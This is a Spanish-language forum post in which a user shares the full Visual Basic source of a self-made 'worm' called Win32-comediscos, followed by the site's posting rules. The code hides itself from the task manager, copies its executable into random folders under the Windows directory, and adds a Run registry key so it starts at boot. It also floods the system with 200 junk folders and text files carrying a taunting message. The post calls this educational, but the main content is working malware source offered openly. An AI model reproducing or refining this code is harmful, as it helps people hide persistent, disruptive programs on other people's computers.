aquí de nuevo mi virus (codigo de fuente) para que lo vean, y así aprenden como es un worm. es solo con intencion de mostrar un codigo de un virus (no muy bueno pero virus de categoría worm al fin.)
nombre: Win32-comediscos fecha de creacion: 05 de Diciembre de 2009, 02:29:56 autor: yo (alexmanycool)
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sub Form_Load()
Dim carpetcopy As String
Dim NuestroPrograma As String
Dim Ruta As String
Dim MiObjeto As Object
Dim Bufer As String
Dim RutaWindows As String
Dim hasta As Integer
Dim numar As Integer
Dim vynet As String
App.TaskVisible = False 'hacemos que no se vea en el admin de tareas
vynet = "0/(Win32-comediscos)\0 Win32-comediscos gen WORM!! fuk you" 'ponemos la variable para un texto proximo
hasta = FreeFile 'preparamos la variable hasta para poder guardar el archivo de texto
Set MiObjeto = CreateObject("Wscript.Shell" 'creamos el objeto para luego crear un registro
For cop = 1 To 10 'for para copiar nuestro worm 10 veces dentro de una carpeta
carpetcopy = Int(Rnd * 10) & Int(Rnd * 10) & Int(Rnd * 10) & Int(Rnd * 10) 'creamos un nombre para una carpeta nueva donde pondremos una de las copias del worm (solo numeros)
Bufer = String(200, Chr$(0)) 'esto es para saber la ruta donde se encuentra la carpeta windows
RutaWindows = Left$(Bufer, GetWindowsDirectory(Bufer, Len(Bufer))) 'asignamos a la variable la direccion de windows
MkDir RutaWindows & "\byval\" & carpetcopy 'creamos la carpeta con el nombre anterior (los cuatro números)
FileCopy App.Path & "\" & App.EXEName & ".exe", RutaWindows & "\byval\" & carpetcopy & "\wv.exe" 'nos copiamos a la carpeta
MiObjeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wV", RutaWindows & "\byval\" & carpetcopy & "wV.exe" 'agregamos la entrada al registro para que luego el worm se ejecute con windows al encenderse (la copia)
Next 'volvemos a hacer esto hasta que pasen 10 veces
For il = 1 To 200 'hacemos que se creen 200 archivos
numar = Int(Rnd * 15000) 'creamos un numero al azar entre 1 y 15000
MkDir RutaWindows & "\vytesystem\" & numar & "0xFF95" 'creamos una carpeta con ese número y algo para disimular
Open RutaWindows & "\vytesystem\" & numar & "0xFF95\" & numar & "0xffwindir.txt" For Output As #hasta 'creamos el archivo que se encuentra en esa nueva carpeta
Print #hasta, vynet 'ingresamos el texto de la variable
Close #hasta 'cerramos y guardamos cambios
Next 'volvemos
Set MiObjeto = Nothing 'borramos el archivo para registros
comenten que les parece...
PROTOCOLO:
Se eliminan los post que contengan:
* Material que ya fue posteado anteriormente (famosos reposts). Excepto descargas que pueden dejar de funcionar con el tiempo.
* Contenido de mala calidad, pobre o con errores en su creación.
* Títulos poco descriptivos, que sean CON MAYUSCULA (parcialmente o totalmente) o .
* Noticias que no contienen fuente. (Es necesario agregar el link correspondiente).
* Chistes o humor escrito, adivinanzas, trivias, etc.
* Links de Torrents, Pando, Emule, etc. (P2P, P2M).
* Material morboso tales como cadáveres, vómitos, violaciones, sangre, heridas, enfermedades, etc.
* Información personal propia o de terceros tales como e-mails, msn, nombres, teléfonos, etc.
* Menciones y/o referencias a promociones y/o publicidades de productos y/o servicios a excepción de aquellos autorizados por la Administración del sitio.
* Contenido sexual explícito.
* Links a páginas/blogs personales/propias/amigos (SPAM).
* Mensajes a otros usuarios o a los moderadores.
* Mensajes o contenido con el claro objetivo de buscar polémica (política, fútbol, etc.).
* Contenido que se relacione o haga "apología de delito" (drogas, violencia, delincuencia). La violencia es un delito.
* Passwords o accesos privados (Rapidshare, Megaupload, cuentas de correo, etc.).
* Sorteos no autorizados por un moderador. No pueden ser realizados por novatos.
* Quejas y/o opiniones sobre las reglas y/o funcionamiento y/o administración del sitio.
* Material que la administración de Taringa! encuentre no conveniente.
PD: el contenido de este post es para enseñar a la gente como son los virus, como es el lenguaje de visual basic, hasta que punto se puede llegar con el (este es un punto bajo en la escala de virustica) en fin, y tambien para mostrarles como es un virus (a lo que todos tememos) por dentro.
salu2